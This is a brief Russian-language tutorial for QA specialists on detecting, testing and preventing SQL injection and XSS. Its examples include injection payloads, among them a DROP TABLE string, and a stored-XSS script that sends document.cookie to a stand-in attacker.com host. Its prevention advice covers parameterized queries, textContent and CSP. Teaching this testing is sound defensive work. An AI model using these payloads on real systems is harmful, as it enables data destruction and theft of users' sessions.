SQL (как обсуждается в OWASP ZAP Automation: Security Scanning in CI/CD) Injection и Cross-Site Scripting (XSS) остаются среди наиболее критичных уязвимостей веб-приложений. Понимание того, как обнаруживать, тестировать и предотвращать эти атаки, необходимо для специалистов QA.
SQL Injection
Типы SQL Injection
1. Классическая SQL Injection
SELECT * FROM users WHERE username = '$username'
-- Payload атаки
username: admin' OR '1'='1
2. Слепая SQL Injection
admin' AND SLEEP(5)--
admin' AND 1=1--
Тестирование
Ручные Payloads:
' OR '1'='1
'; DROP TABLE users; --
' UNION SELECT NULL--
Предотвращение
# Плохо
query = f"SELECT * FROM users WHERE id = {user_id}"
# Хорошо: Параметризованные запросы
query = "SELECT * FROM users WHERE id = ?"
cursor.execute(query, (user_id,))
Cross-Site Scripting (XSS)
Типы XSS
1. Reflected XSS
<script>alert('XSS')</script>
2. Stored XSS
<script>fetch('http://attacker.com/steal?cookie=' + document.cookie)</script>
Тестирование
<img src=x onerror=alert('XSS')>
<svg/onload=alert('XSS')>
Предотвращение
// Плохо
element.innerHTML = userInput;
// Хорошо
element.textContent = userInput;
// CSP
Content-Security-Policy: default-src 'self'
Заключение
SQL Injection и XSS — критичные уязвимости, требующие активного тестирования. Используйте комбинацию ручного и автоматизированного тестирования, реализуйте правильную валидацию и непрерывно мониторьте.